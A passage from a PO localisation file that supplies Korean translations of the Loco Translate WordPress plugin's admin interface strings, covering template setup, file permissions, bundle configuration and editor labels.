msgstr "모든 플러그인 보기"

#: tpl/admin/root.php:54
msgid "These plugins have recently loaded translation files into the admin area"
msgstr "이 플러그인은 최근 번역 파일을 관리 영역에 로드했습니다"

#: tpl/admin/root.php:51
msgid "Running plugins:"
msgstr "실행 중인 플러그인:"

#: src/admin/bundle/LocaleController.php:150 tpl/admin/root.php:43
msgid "See all themes"
msgstr "모든 테마 보기"

#: tpl/admin/root.php:39
msgid "Active theme:"
msgstr "활성 테마:"

#: tpl/admin/root.php:30
msgid "Translations have been recently modified in the following bundles"
msgstr "최근 다음 번들에서 번역이 수정되었습니다"

#: tpl/admin/root.php:27
msgid "Recently updated:"
msgstr "최근 업데이트일:"

#: src/admin/RootController.php:84
msgid "Welcome to Loco Translate"
msgstr "Loco Translate에 오신 것을 환영합니다"

#: tpl/admin/list/inc-table.php:20
msgid "Sets"
msgstr "세트"

#: tpl/admin/bundle/locale.php:32 tpl/admin/list/inc-table.php:11
msgid "Bundle name"
msgstr "번들 이름"

#: tpl/admin/init/init-pot.php:42 tpl/admin/init/init-prompt.php:31
msgid "About templates"
msgstr "템플릿 정보"

#: tpl/admin/init/init-prompt.php:23
msgid "This bundle doesn't define a translations template file"
msgstr "이 번들은 번역 템플릿 파일을 정의하지 않습니다"

#: tpl/admin/init/init-prompt.php:19
msgid "This bundle's template file doesn't exist yet. We recommend you create it before adding languages"
msgstr "이 번들의 템플릿 파일이 아직 존재하지 않습니다. 언어를 추가하기 전에 생성하는 것이 좋습니다"

#: tpl/admin/init/init-copy.php:15 tpl/admin/init/init-prompt.php:15
msgid "Template missing"
msgstr "템플릿 누락"

#: tpl/admin/init/init-pot.php:30
msgid "Strings will be extracted to:"
msgstr "문자열은 다음 위치로 추출됩니다:"

#. Translators: (1) Number of files excluded (2) the maximum size of file that
#. was included
#: tpl/admin/init/init-pot.php:24
msgid "Excludes %1$s file over %2$s"
msgid_plural "Excludes %1$s files over %2$s"
msgstr[0] "%2$s 이상의 %1$s 파일 제외함"

#. Translators: Where %s is the size of a file
#: tpl/admin/init/init-pot.php:16
msgid "%s on disk"
msgstr "디스크의 %s"

#: tpl/admin/init/init-pot.php:12
msgid "Source files to scan:"
msgstr "스캔할 원본 파일:"

#: tpl/admin/init/init-po.php:169
msgid "Start translating"
msgstr "번역 시작"

#: tpl/admin/init/init-po.php:159
msgid "Use this file as template when running Sync"
msgstr "동기화를 실행할 때 이 파일을 템플릿으로 사용"

#: tpl/admin/file/conf.php:38 tpl/admin/init/init-po.php:139
msgid "Just copy English source strings"
msgstr "영어 원본 문자열만 복사"

#: tpl/admin/file/conf.php:32 tpl/admin/init/init-po.php:133
msgid "Copy target translations from \"%s\""
msgstr "\"%s\"에서 대상 번역 복사"

#: tpl/admin/file/conf.php:12 tpl/admin/init/init-po.php:122
msgid "Template options"
msgstr "템플릿 옵션"

#: tpl/admin/init/init-po.php:77 tpl/admin/init/upload.php:15
msgid "Choose a location"
msgstr "위치 선택"

#: tpl/admin/init/init-po.php:63
msgid "Custom language"
msgstr "사용자 정의 언어"

#: tpl/admin/init/init-po.php:51
msgid "Available languages"
msgstr "사용 가능한 언어"

#: src/admin/bundle/LocaleController.php:124
#: src/admin/list/LocalesController.php:35 tpl/admin/init/init-po.php:45
msgid "Installed languages"
msgstr "설치된 언어"

#: tpl/admin/init/init-po.php:44
msgid "No language selected"
msgstr "선택한 언어가 없습니다."

#: tpl/admin/init/init-po.php:39
msgid "WordPress language"
msgstr "워드프레스 언어"

#: tpl/admin/init/init-po.php:32
msgid "Choose a language"
msgstr "언어 선택"

#: src/admin/init/InitPoController.php:389
msgid "Create template instead"
msgstr "대신 템플릿 만들기"

#: src/admin/init/InitPoController.php:392
msgid "You're creating translations directly from source code"
msgstr "원본 코드에서 직접 번역을 만들고 있습니다"

#: tpl/admin/help/tab-support.php:6
msgid "Getting help with Loco Translate"
msgstr "Loco Translate에 대한 도움 받기"

#: tpl/admin/help/tab-config-apis.php:9 tpl/admin/help/tab-config.php:9
msgid "Full documentation"
msgstr "전체 문서"

#: tpl/admin/help/tab-config.php:6
msgid "User options apply to your WordPress login, across all sites"
msgstr "사용자 옵션은 모든 사이트에서 워드프레스 로그인에 적용됩니다."

#: tpl/admin/help/tab-config.php:5
msgid "Site options apply to all users of Loco Translate across the current site"
msgstr "사이트 옵션은 현재 사이트에서 Loco Translate의 모든 사용자에게 적용됩니다"

#: tpl/admin/help/side-bar.php:12
msgid "Support forum"
msgstr "지원 포럼"

#: tpl/admin/file/view-mo.php:14
msgid "File is in binary MO format"
msgstr "파일이 바이너리 MO 형식입니다"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:96
msgid "To create new files here you'll have to connect to the remote file system, or make the directory writeable by %s"
msgstr "여기에서 새 파일을 만들려면 원격 파일 시스템에 연결하거나 %s가 디렉토리를 쓰기 가능하게 해야 합니다"

#: tpl/admin/file/info.php:92
msgid "This directory can't be written to directly by the web server"
msgstr "이 디렉토리는 웹 서버에서 직접 쓸 수 없습니다"

#: tpl/admin/file/info.php:81
msgid "Note that the file may not be deletable due to additional ownership permissions"
msgstr "추가 소유권 권한으로 인해 파일을 삭제하지 못할 수 있습니다"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:73
msgid "The containing directory is writeable by %s, so you can add new files in the same location"
msgstr "포함하는 디렉토리는 %s가 쓰기 가능하므로 동일한 위치에 새 파일을 추가할 수 있습니다"

#: tpl/admin/file/info.php:69
msgid "Directory is writeable"
msgstr "디렉토리에 쓰기 가능"

#. Translators: "either" meaning that the file itself can't exist without a
#. containing directory
#: tpl/admin/file/info.php:59
msgid "The containing directory for this file doesn't exist either"
msgstr "이 파일의 포함 디렉토리도 존재하지 않습니다"

#: tpl/admin/file/info.php:55
msgid "Directory doesn't exist"
msgstr "디렉토리가 없습니다."

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:43
msgid "To make changes you'll have to connect to the remote file system, or make the file writeable by %s"
msgstr "변경하려면 원격 파일 시스템에 연결하거나 %s에서 파일을 쓰기 가능하게 해야 합니다"

#: tpl/admin/file/info.php:39
msgid "This file can't be updated directly by the web server"
msgstr "이 파일은 웹 서버에서 직접 업데이트 할 수 없습니다"

#: tpl/admin/file/info.php:27
msgid "You can update these translations directly from the editor to the file system"
msgstr "이 번역을 편집기에서 파일 시스템으로 직접 업데이트할 수 있습니다"

#. Translators: Where %s is the type of file, e.g. "po"
#: tpl/admin/file/info.php:24
msgid "%s file is writeable"
msgstr "%s 파일이 쓰기 가능합니다"

#: tpl/admin/file/info.php:14
msgid "File doesn't exist"
msgstr "파일이 존재하지 않습니다"

#: tpl/admin/file/info-pot.php:27
msgid "Last extracted"
msgstr "최근 추출일"

#: tpl/admin/file/info-po.php:88
msgid "These translations are not linked to a POT file. Sync operations will extract strings directly from source code."
msgstr "이 번역은 POT 파일에 연결되어 있지 않습니다. 동기화 작업은 원본 코드에서 직접 문자열을 추출합니다"

#: tpl/admin/file/info-po.php:84
msgid "Missing template"
msgstr "템플릿이 누락됨"

#. Translators: Where %s is the name of a template file
#: tpl/admin/file/info-po.php:75
msgid "PO file has different source strings to \"%s\". Try running Sync before making any changes."
msgstr "PO 파일에 \"%s\"와(과) 다른 원본 문자열이 있습니다. 변경하기 전에 동기화를 실행해보세요."

#: tpl/admin/file/info-po.php:71
msgid "Out of sync with template"
msgstr "템플릿과 동기화되지 않음"

#. Translators: Where %s is the name of a template file
#: tpl/admin/file/info-po.php:64
msgid "PO file has the same source strings as \"%s\""
msgstr "PO 파일에 \"%s\"와(과) 동일한 원본 문자열이 있습니다"

#: tpl/admin/file/info-po.php:60
msgid "In sync with template"
msgstr "템플릿과 동기화"

#: tpl/admin/file/info-po.php:50
msgid "We can't find the binary MO file that belongs with these translations"
msgstr "이 번역에 속하는 바이너리 MO 파일을 찾을 수 없습니다"

#: tpl/admin/file/info-po.php:47
msgid "Binary file missing"
msgstr "바이너리 파일이 누락됨"

#: tpl/admin/file/info-other.php:11
msgid "Unexpected file type"
msgstr "예기치 않은 파일 형식"

#: tpl/admin/file/info-mo.php:41
msgid "We can't find the original PO file from which this was compiled"
msgstr "컴파일된 원본 PO 파일을 찾을 수 없습니다"

#: tpl/admin/file/info-mo.php:38
msgid "PO file missing"
msgstr "PO 파일 누락"

#: tpl/admin/file/info-mo.php:27
msgid "Compiled translations"
msgstr "컴파일된 번역"

#: tpl/admin/file/info-mo.php:24 tpl/admin/file/info-po.php:30
msgid "Last translation"
msgstr "최근 번역"

#: tpl/admin/file/info-mo.php:21 tpl/admin/file/info-po.php:27
#: tpl/admin/file/info-pot.php:24
msgid "File modified"
msgstr "파일 수정일"

#: tpl/admin/file/info-mo.php:15
msgid "compiled"
msgstr "컴파일됨"

#: tpl/admin/file/delete.php:30
msgid "Delete Permanently"
msgstr "영구 삭제"

#: tpl/admin/file/delete.php:16
msgid "Are you sure you want to <strong>permanently</strong> delete the following file?"
msgstr "정말로 다음 파일을 <strong>영구적으로</strong> 삭제하시겠습니까?"

#: tpl/admin/file/delete.php:12
msgid "Confirm delete"
msgstr "삭제 확인"

#. Translators: %s is a URL. Keep the <a> tag intact
#: tpl/admin/errors/no-tokenizer.php:25
msgid "You can still translate any bundle that has a <a href=\"%s\" target=\"_blank\">template</a>"
msgstr "<a href=\"%s\" target=\"_blank\">템플릿</a>이 있는 모든 번들을 번역할 수 있습니다"

#. Translators: change "en" in the URL to your language if it's available at
#. https://www.php.net/docs.php
#: tpl/admin/errors/no-tokenizer.php:17
msgid "Loco requires the <a href=\"http://php.net/manual/en/book.tokenizer.php\" target=\"_blank\">Tokenizer extension</a> to scan PHP source code for translatable strings"
msgstr "Loco는 번역 가능한 문자열에 대한 PHP 원본 코드를 스캔하기 위해 <a href=\"http://php.net/manual/en/book.tokenizer.php\" target=\"_blank\">Tokenizer 확장 기능</a>이 필요합니다."

#: tpl/admin/errors/no-tokenizer.php:11
msgid "About the Tokenizer"
msgstr "Tokenizer 정보"

#: tpl/admin/errors/file-missing.php:14
msgid "Either this file is missing or the server doesn't have permission to access it"
msgstr "이 파일이 없거나 서버에 액세스 권한이 없습니다"

#: tpl/admin/errors/file-missing.php:11
msgid "File not found"
msgstr "파일을 찾을 수 없음"

#: tpl/admin/errors/file-isdir.php:14
msgid "This page was expecting a file, but the path is actually a directory"
msgstr "이 페이지는 파일을 예상했지만 경로는 실제로 디렉토리입니다"

#: tpl/admin/errors/file-isdir.php:11
msgid "File is a directory"
msgstr "파일은 디렉토리입니다"

#: tpl/admin/config/version.php:38
msgid "You're running the latest version of Loco Translate"
msgstr "최신 버전의 Loco Translate를 실행 중입니다"

#: tpl/admin/config/version.php:17
msgid "Upgrade to %s"
msgstr "%s(으)로 업그레이드"

#: tpl/admin/config/version.php:11 tpl/admin/config/version.php:25
#: tpl/admin/config/version.php:35
msgid "Version %s"
msgstr "버전 %s"

#: tpl/admin/config/settings.php:216
msgid "Allow full access to these roles"
msgstr "이 역할에 대한 전체 액세스 허용"

#: tpl/admin/config/settings.php:210
msgid "Grant access to roles"
msgstr "역할에 대한 액세스 권한 부여"

#: tpl/admin/config/settings.php:75 tpl/admin/config/settings.php:182
msgid "Not recommended"
msgstr "권장하지 않음"

#: tpl/admin/config/settings.php:75
msgid "Add UTF-8 byte order mark"
msgstr "UTF-8 바이트 순 표시 추가"

#: tpl/admin/config/settings.php:52 tpl/admin/config/settings.php:58
msgid "Saving PO/POT files"
msgstr "PO / POT 파일 저장"

#: tpl/admin/config/settings.php:37
msgid "Scan PHP files with extensions:"
msgstr "확장자가 있는 PHP 파일 스캔:"

#: tpl/admin/config/settings.php:31
msgid "Skip PHP files larger than:"
msgstr "다음보다 큰 PHP 파일은 건너뛰기:"

#: tpl/admin/config/settings.php:21 tpl/admin/config/settings.php:27
msgid "Extracting strings"
msgstr "문자열 추출"

#: tpl/admin/config/prefs.php:16 tpl/admin/config/prefs.php:20
msgid "Translator credit"
msgstr "번역자 크레딧"

#. translators: text field placeholder
#: tpl/admin/common/inc-table-filter.php:6
msgid "Filter..."
msgstr "필터..."

#: tpl/admin/common/inc-fsconn.php:60
msgid "Connect"
msgstr "연결"

#. Translators: When a file or folder cannot be modified due to filesystem
#. permissions
#: tpl/admin/common/inc-fsconn.php:50 tpl/admin/file/info.php:36
#: tpl/admin/file/info.php:89
msgid "Write protected"
msgstr "쓰기 금지"

#: tpl/admin/bundle/view.php:55
msgid "This bundle isn't automatically compatible and requires configuring before you can use all the functions of Loco Translate"
msgstr "이 번들은 자동으로 호환되지 않으며 Loco Translate의 모든 기능을 사용하려면 먼저 구성해야 합니다"

#: tpl/admin/bundle/view.php:52
msgid "unconfigured"
msgstr "구성되지 않음"

#: tpl/admin/bundle/view.php:35 tpl/admin/bundle/view.php:57
msgid "Click the <a href=\"%s\">setup</a> tab to complete the bundle configuration"
msgstr "<a href=\"%s\">설정</a> 탭을 클릭하여 번들 구성을 완료하세요"

#: tpl/admin/bundle/view.php:32
msgid "This bundle isn't fully configured, so we don't know what the following files are for"
msgstr "이 번들은 완전히 구성되지 않았으므로 다음 파일의 용도를 알 수 없습니다"

#: tpl/admin/bundle/view.php:29
msgid "Additional files found"
msgstr "추가 파일을 찾음"

#: tpl/admin/bundle/setup.php:39
msgid "If you have trouble translating this bundle, consider asking the author for help"
msgstr "이 번들을 번역하는 데 문제가 있으면 작성자에게 도움을 요청하세요."

#: tpl/admin/bundle/setup.php:36
msgid "Author details"
msgstr "작성자 세부 정보"

#: tpl/admin/bundle/setup/saved.php:19
msgid "Edit config"
msgstr "구성 편집"

#: tpl/admin/bundle/setup/saved.php:14
msgid "This bundle's configuration is saved in the WordPress database"
msgstr "이 번들의 구성은 워드프레스 데이터베이스에 저장됩니다"

#: tpl/admin/bundle/setup/saved.php:11
msgid "Bundle configuration saved"
msgstr "번들 구성이 저장됨"

#: tpl/admin/bundle/setup/partial.php:14
msgid "This bundle's configuration has been automatically detected, but isn't fully complete"
msgstr "이 번들의 구성이 자동으로 감지되었지만 완전히 완료되지 않았습니다"

#: tpl/admin/bundle/setup/partial.php:11
msgid "Partially configured bundle"
msgstr "부분적으로 구성된 번들"

#: tpl/admin/bundle/setup/none.php:15
msgid "It needs configuring before you can do any translations"
msgstr "번역을 하기 전에 설정이 필요합니다"

#: tpl/admin/bundle/setup/none.php:14
msgid "This bundle isn't set up for translation in a way we understand"
msgstr "이 번들은 Google이 이해하는 방식으로 번역하도록 설정되지 않았습니다"

#: tpl/admin/bundle/setup/none.php:11
msgid "Unconfigured bundle"
msgstr "구성되지 않은 번들"

#: tpl/admin/bundle/setup/meta.php:14
msgid "This bundle's configuration has been automatically detected and seems to be fully compatible"
msgstr "이 번들의 구성은 자동으로 감지되었으며 완전히 호환되는 것 같습니다"

#: tpl/admin/bundle/setup/inc-nav.php:25
msgid "Get help with this"
msgstr "이에 대한 도움 받기"

#: tpl/admin/bundle/setup/inc-nav.php:22
msgid "Import config from XML"
msgstr "XML에서 구성 가져오기"

#: tpl/admin/bundle/setup/core.php:13
msgid "This bundle's configuration is built into Loco Translate"
msgstr "이 번들의 구성은 Loco Translate에 내장되어 있습니다"

#: tpl/admin/bundle/setup/core.php:10 tpl/admin/bundle/setup/meta.php:11
msgid "Bundle auto-configured"
msgstr "번들 자동 구성"

#: tpl/admin/bundle/setup/conf.php:55
msgid "Load config"
msgstr "구성 로드"

#: tpl/admin/bundle/setup/conf.php:49
msgid "If you've been given a configuration file by a developer, paste the XML code here"
msgstr "개발자로부터 구성 파일을받은 경우 여기에 XML 코드를 붙여 넣어주세요."

#: tpl/admin/bundle/setup/conf.php:46
msgid "XML setup"
msgstr "XML 설정"

#: tpl/admin/bundle/setup/conf.php:56
msgid "Cancel"
msgstr "취소"

#: tpl/admin/bundle/setup/author.php:15 tpl/admin/bundle/setup/core.php:14
#: tpl/admin/bundle/setup/meta.php:15
msgid "You can make changes in the Advanced tab if you need to override the current settings"
msgstr "현재 설정을 재정의해야 하는 경우 고급 탭에서 변경할 수 있습니다"

#: tpl/admin/bundle/setup/author.php:14
msgid "This bundle's configuration is provided by the author"
msgstr "이 번들의 구성은 작성자가 제공합니다"

#: tpl/admin/bundle/setup/author.php:11
msgid "Official configuration"
msgstr "공식 구성"

#: tpl/admin/bundle/inc-po-table.php:124
msgid "No translations found for \"%s\""
msgstr "\"%s\"에 대한 번역이 없음"

#: tpl/admin/bundle/inc-po-table.php:57 tpl/admin/bundle/locale.php:69
msgid "Info"
msgstr "정보"

#: tpl/admin/bundle/inc-po-table.php:60 tpl/admin/bundle/locale.php:72
msgid "Copy"
msgstr "복사"

#: tpl/admin/bundle/inc-po-table.php:51 tpl/admin/bundle/locale.php:63
msgid "Edit"
msgstr "편집"

#: tpl/admin/bundle/inc-po-table.php:31 tpl/admin/bundle/locale.php:49
msgid "Folder"
msgstr "폴더"

#: tpl/admin/bundle/inc-po-table.php:28 tpl/admin/bundle/locale.php:46
#: tpl/admin/list/inc-table.php:17 tpl/admin/list/locales.php:19
msgid "Last modified"
msgstr "최근 수정일"

#: tpl/admin/bundle/inc-po-table.php:22 tpl/admin/bundle/locale.php:39
msgid "Pending"
msgstr "보류 중"

#: tpl/admin/bundle/inc-po-table.php:16 tpl/admin/bundle/locale.php:36
#: tpl/admin/file/info-po.php:33
msgid "Translation progress"
msgstr "번역 진행률"

#: tpl/admin/bundle/inc-po-table.php:13
msgid "Language"
msgstr "언어"

#: tpl/admin/bundle/conf.php:159 tpl/admin/bundle/setup/saved.php:18
msgid "Reset config"
msgstr "구성 초기화"

#: tpl/admin/bundle/conf.php:146
msgid "XML"
msgstr "XML"

#: tpl/admin/bundle/conf.php:144
msgid "Parent theme"
msgstr "부모 테마"

#: tpl/admin/bundle/conf.php:142
msgid "Add set"
msgstr "세트 추가"

#: tpl/admin/bundle/conf.php:141
msgid "Save config"
msgstr "구성 저장"

#. Translators: Help tip for "Blocked paths" field in advanced bundle config
#: tpl/admin/bundle/conf.php:134
msgid "Folders within the bundle that will never be searched for files"
msgstr "파일을 검색하지 않을 번들 내 폴더"

#: tpl/admin/bundle/conf.php:128
msgid "Blocked paths"
msgstr "차단된 경로"

#. Translators: Help tip for "Source file paths" field in advanced bundle
#. config
#: tpl/admin/bundle/conf.php:113
msgid "Files and folders within the bundle that contain localized PHP code"
msgstr "현지화된 PHP 코드를 포함하는 번들 내 파일 및 폴더"

#: tpl/admin/bundle/conf.php:100
msgid "Source file paths"
msgstr "원본 파일 경로"

#. Translators: Help tip for "Domain path" field in advanced bundle config
#. Translators: Help tip for "Source file paths" field in advanced bundle
#. config
#. Translators: Help tip for "Blocked paths" field in advanced bundle config
#: tpl/admin/bundle/conf.php:94 tpl/admin/bundle/conf.php:113
#: tpl/admin/bundle/conf.php:134
msgid "no wildcards"
msgstr "와일드카드 없음"

#. Translators: Help tip for "Domain path" field in advanced bundle config
#: tpl/admin/bundle/conf.php:94
msgid "Folders within the bundle that contain author-supplied translations"
msgstr "작성자가 제공한 번역이 포함된 번들 내 폴더"

#: tpl/admin/bundle/conf.php:89 tpl/admin/bundle/conf.php:108
msgid "Exclude"
msgstr "제외"

#: tpl/admin/bundle/conf.php:85 tpl/admin/bundle/conf.php:104
msgid "Include"
msgstr "포함"

#: tpl/admin/bundle/conf.php:81
msgid "Domain path"
msgstr "도메인 경로"

#. Translators: Help tip for "Template file" field in advanced bundle config
#: tpl/admin/bundle/conf.php:75
msgid "Relative path from bundle root to the official POT file"
msgstr "번들 루트에서 공식 POT 파일까지의 상대 경로"

#: tpl/admin/bundle/conf.php:71 tpl/admin/common/inc-fsconn.php:12
msgid "Locked"
msgstr "잠김"

#. Translators: Help tip for "File prefix" field in advanced bundle config
#: tpl/admin/bundle/conf.php:59
msgid "Usually the same as the text domain, but don't leave blank unless you mean to"
msgstr "일반적으로 텍스트 도메인과 동일하지만 의도가 있지 않는 한 비워두지 마세요"

#: tpl/admin/bundle/conf.php:53
msgid "File prefix"
msgstr "파일 접두사"

#. Translators: Help tip for "Text domain" field in advanced bundle config
#: tpl/admin/bundle/conf.php:47
msgid "The namespace into which WordPress will load translated strings"
msgstr "워드프레스가 번역된 문자열을 로드할 네임스페이스"

#: tpl/admin/bundle/conf.php:41 tpl/admin/list/inc-table.php:14
msgid "Text domain"
msgstr "텍스트 도메인"

#. Translators: Help tip for "Project name" field in advanced bundle config
#: tpl/admin/bundle/conf.php:35
msgid "Descriptive name for this set of translatable strings"
msgstr "이 번역 가능한 문자열 세트를 설명하는 이름"

#: tpl/admin/bundle/conf.php:29
msgid "Project name"
msgstr "프로젝트 이름"

#: tpl/admin/bundle/alias.php:17
msgid "Go to WordPress Core"
msgstr "워드프레스 코어로 이동"

#: tpl/admin/bundle/alias.php:11
msgid "\"Hello Dolly\" is part of the WordPress core"
msgstr "\"헬로 달리\"는 워드프레스 코어의 일부입니다"

#. translators: %s refers to the handle of a plugin, e.g.
#. "loco-translate/loco.php"
#: src/package/Plugin.php:225
msgid "Plugin not found: %s"
msgstr "플러그인을 찾을 수 없음: %s"

#: src/package/Header.php:93
msgid "Visit official site"
msgstr "공식 사이트 방문"

#: src/admin/bundle/LocaleController.php:144 src/package/Core.php:85
msgid "WordPress Core"
msgstr "워드프레스 코어"

#: src/package/Core.php:29
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

#: src/package/Core.php:28
msgid "The WordPress Team"
msgstr "워드프레스 팀"

#: src/package/Core.php:26
msgid "WordPress core"
msgstr "워드프레스 코어"

#. translators: (1) is the name of a PHP script, (2) is a line number in the
#. file
#: src/output/Buffer.php:130
msgid "Loco was interrupted by output from %1$s:%2$u"
msgstr "Loco가 %1$s:%2$u의 출력에 의해 중단되었습니다"

#. translators: %s: Human-readable time difference.
#: src/mvc/FileParams.php:152
msgid "%s ago"
msgstr "%s전"

#. translators: relative time when something happened in the last 30 seconds
#: src/mvc/FileParams.php:149
msgid "Just now"
msgstr "방금"

#: src/mvc/FileParams.php:145
msgid "Y/m/d"
msgstr "Y/m/d"

#: src/mvc/Controller.php:49
msgid "You do not have sufficient permissions to access this page."
msgstr "이 페이지에 액세스할 수 있는 권한이 없습니다."

#: src/mvc/AjaxRouter.php:203
msgid "Download controller returned empty output"
msgstr "다운로드 컨트롤러가 빈 출력을 반환했습니다"

#: src/mvc/AjaxRouter.php:198
msgid "Download action not found"
msgstr "다운로드 작업을 찾을 수 없음"

#: src/mvc/AjaxRouter.php:175
msgid "Ajax controller returned empty JSON"
msgstr "Ajax 컨트롤러가 빈 JSON을 반환했습니다"

#. translators: Fatal error where %s represents an unexpected value
#: src/mvc/AjaxRouter.php:170
msgid "Ajax route not found: \"%s\""
msgstr "Ajax 경로를 찾을 수 없음: \"%s\""

#: src/mvc/AdminRouter.php:243
msgid "Page not found"
msgstr "페이지를 찾을 수 없음"

#. translators: Page title for core WordPress translations
#: src/mvc/AdminRouter.php:56
msgid "Core translations &lsaquo; Loco"
msgstr "코어 번역 &lsaquo; Loco"

#: src/mvc/AdminRouter.php:54
msgid "WordPress"
msgstr "워드프레스"

#. translators: Page title for plugin translations
#: src/mvc/AdminRouter.php:51
msgid "Plugin translations &lsaquo; Loco"
msgstr "플러그인 번역 &lsaquo; Loco"

#. translators: Page title for theme translations
#: src/mvc/AdminRouter.php:46
msgid "Theme translations &lsaquo; Loco"
msgstr "테마 번역 &lsaquo; Loco"

#: src/mvc/AdminRouter.php:42
msgid "Home"
msgstr "홈"

#: src/mvc/AdminController.php:114
msgid "Loco Translate is powered by"
msgstr "Loco Translate 작동 기반:"

#: src/mvc/AdminController.php:51
msgid "Help & support"
msgstr "도움말 & 지원"

#. translators: List heading showing preview of translated text for each item
#: src/js/Strings.php:183
msgctxt "Editor"
msgid "Translation"
msgstr "번역"

#. translators: Label for the translation editing window when no translation
#. selected
#: src/js/Strings.php:180
msgctxt "Editor"
msgid "Translation not loaded"
msgstr "번역이 로드되지 않음"

#. translators: Label for the context window when no translation selected
#: src/js/Strings.php:177
msgctxt "Editor"
msgid "Context not loaded"
msgstr "문맥이 로드되지 않음"

#. translators: Label for the source text window when no translation selected
#: src/js/Strings.php:174
msgctxt "Editor"
msgid "Source text not loaded"
msgstr "원본 텍스트가 로드되지 않음"

#. translators: Label for the plural form of the original English text
#: src/js/Strings.php:93 src/Locale.php:375 pub/js/min/editor.js:291
msgctxt "Editor"
msgid "Plural"
msgstr "복수형"

#. translators: Label for the singular form of the original English text
#: src/js/Strings.php:96 src/Locale.php:374 pub/js/min/editor.js:291
msgctxt "Editor"
msgid "Single"
msgstr "단수형"

#. translators: Label for the window pane for entering translator comments
#: src/js/Strings.php:159
msgctxt "Editor"
msgid "Comments"
msgstr "코멘트"

#. translators: Label for the window pane holding message context
#: src/js/Strings.php:156
msgctxt "Editor"
msgid "Context"
msgstr "문맥"

#. translators: Where %s is the name of the language, e.g. "French translation"
#. xgettext: javascript-format
#: src/js/Strings.php:153
msgctxt "Editor"
msgid "%s translation"
msgstr "%s 번역"

#. translators: Label for the window pane holding the original English text
#. translators: List heading showing preview of English text for each item
#: src/js/Strings.php:149 tpl/admin/file/info-pot.php:30
msgctxt "Editor"
msgid "Source text"
msgstr "원본 텍스트"

#. translators: Generic error when external process broke an Ajax request
#: src/js/Strings.php:136
msgid "Server returned invalid data"
msgstr "서버에서 잘못된 데이터를 반환했습니다"

#: src/js/Strings.php:139
msgid "Check console output for debugging information"
msgstr "디버깅 정보에 대한 콘솔 출력 확인"

#: src/js/Strings.php:142
msgid "Provide the following text when reporting a problem"
msgstr "문제를 보고할 때 다음 텍스트를 제공하세요"

#. translators: When text filtering reduces to an empty view
#: src/js/Strings.php:14
msgid "Nothing matches the text filter"
msgstr "텍스트 필터와 일치하는 항목이 없습니다"

#: src/hooks/AdminHooks.php:129 tpl/ajax/modal-apis-batch.php:37
msgid "Translate"
msgstr "번역"

#. translators: Error thrown when attempting to parse a file that is not a
#. supported translation file format
#: src/gettext/Data.php:25
msgid "%s is not a Gettext file"
msgstr "%s은(는) Gettext 파일이 아닙니다"

#. Translators: Refers to translation files in an alternative location that
#. isn't Author, System or Custom.
#: src/fs/LocaleDirectory.php:72
msgctxt "File location"
msgid "Other"
msgstr "기타"

#. Translators: Refers to translation files in Loco's custom/protected
#. directory
#: src/fs/LocaleDirectory.php:69
msgctxt "File location"
msgid "Custom"
msgstr "사용자 정의"

#. Translators: Refers to system-installed translation files - i.e. those under
#. WP_LANG_DIR
#: src/fs/LocaleDirectory.php:66
msgctxt "File location"
msgid "System"
msgstr "시스템"

#. Translators: Refers to bundled plugin or theme translation files - i.e.
#. those supplied by the author
#: src/fs/LocaleDirectory.php:63
msgctxt "File location"
msgid "Author"
msgstr "작성자"

#: src/fs/FileWriter.php:308
msgid "File modification is disallowed by your WordPress config"
msgstr "워드프레스 구성에서 파일 수정을 허용하지 않습니다"

#: src/fs/FileWriter.php:297
msgid "Failed to build directory path"
msgstr "디렉토리 경로를 구축하는데 실패함"

#: src/fs/FileWriter.php:289
msgid "Failed to create directory"
msgstr "디렉토리를 생성하는데 실패함"

#: src/fs/FileWriter.php:253
msgid "Failed to save file"
msgstr "파일을 저장하는데 실패함"

#: src/fs/FileWriter.php:243
msgid "Permission denied to update file"
msgstr "파일 업데이트 권한이 거부되었습니다"

#. translators: %s refers to a directory name which was expected to be an
#. ordinary file
#: src/fs/FileWriter.php:218
msgid "\"%s\" is a directory, not a file"
msgstr "\"%s\"은(는) 디렉토리이고, 파일이 아닙니다"

#. translators: %s refers to a file name, for which a delete operation failed.
#: src/fs/FileWriter.php:201
msgid "Failed to delete %s"
msgstr "%s을(를) 삭제하는데 실패함"

#. translators: (1) Source file name (2) Target file name
#: src/fs/FileWriter.php:162
msgid "Failed to copy %1$s to %2$s"
msgstr "%1$s을(를) %2$s(으)로 복사하는데 실패함"

#: src/fs/FileWriter.php:151
msgid "Refusing to copy over an existing file"
msgstr "기존 파일 복사 거부 중"

#. translators: %s refers to a file name, for which the chmod operation failed.
#: src/fs/FileWriter.php:133
msgid "Failed to chmod %s"
msgstr "%s을(를) chmod하는데 실패함"

#: src/fs/FileWriter.php:52
msgid "Failed to connect to remote server"
msgstr "원격 서버에 연결하는데 실패함"

#: src/error/XmlParseException.php:8
msgid "XML parse error"
msgstr "XML 구문 분석 오류"

#: src/error/Warning.php:19 src/js/Strings.php:127
msgid "Warning"
msgstr "경고"

#: src/error/Success.php:19 src/js/Strings.php:133
msgid "OK"
msgstr "확인"

#: src/error/Notice.php:20 src/js/Strings.php:130
#: tpl/admin/common/inc-fsconn.php:37
msgid "Notice"
msgstr "주의"

#: src/error/Exception.php:163 src/js/Strings.php:124
msgid "Error"
msgstr "오류"

#: src/data/Permissions.php:155
msgctxt "User role"
msgid "Translator"
msgstr "번역자"

#: src/config/XMLModel.php:54
msgid "XML supplied is empty"
msgstr "제공된 XML이 비어 있습니다"

#: src/config/FormModel.php:147
msgid "Text Domain cannot be empty"
msgstr "텍스트 도메인은 비워 둘 수 없습니다"

#. translators: used when username of web server process is unknown
#: src/compat/PosixExtension.php:115
msgid "the web server"
msgstr "웹 서버"

#. translators: %s refers to the name of a new file to be created, but which
#. already existed
#: src/api/WordPressFileSystem.php:87
msgid "%s already exists in this folder"
msgstr "%s이(가) 이미 이 폴더에 있습니다"

#: src/ajax/XgettextController.php:67
msgid "Template file created"
msgstr "생성된 템플릿 파일"

#: src/gettext/Compiler.php:94
msgid "PO file saved, but MO file compilation failed"
msgstr "PO 파일이 저장되었지만 MO 파일 컴파일에 실패함"

#: src/gettext/Compiler.php:283
msgid "PO file saved and MO file compiled"
msgstr "PO 파일 저장 및 MO 파일 컴파일"

#. translators: %s refers to a directory where a backup file could not be
#. created due to file permissions
#: src/fs/Revisions.php:222
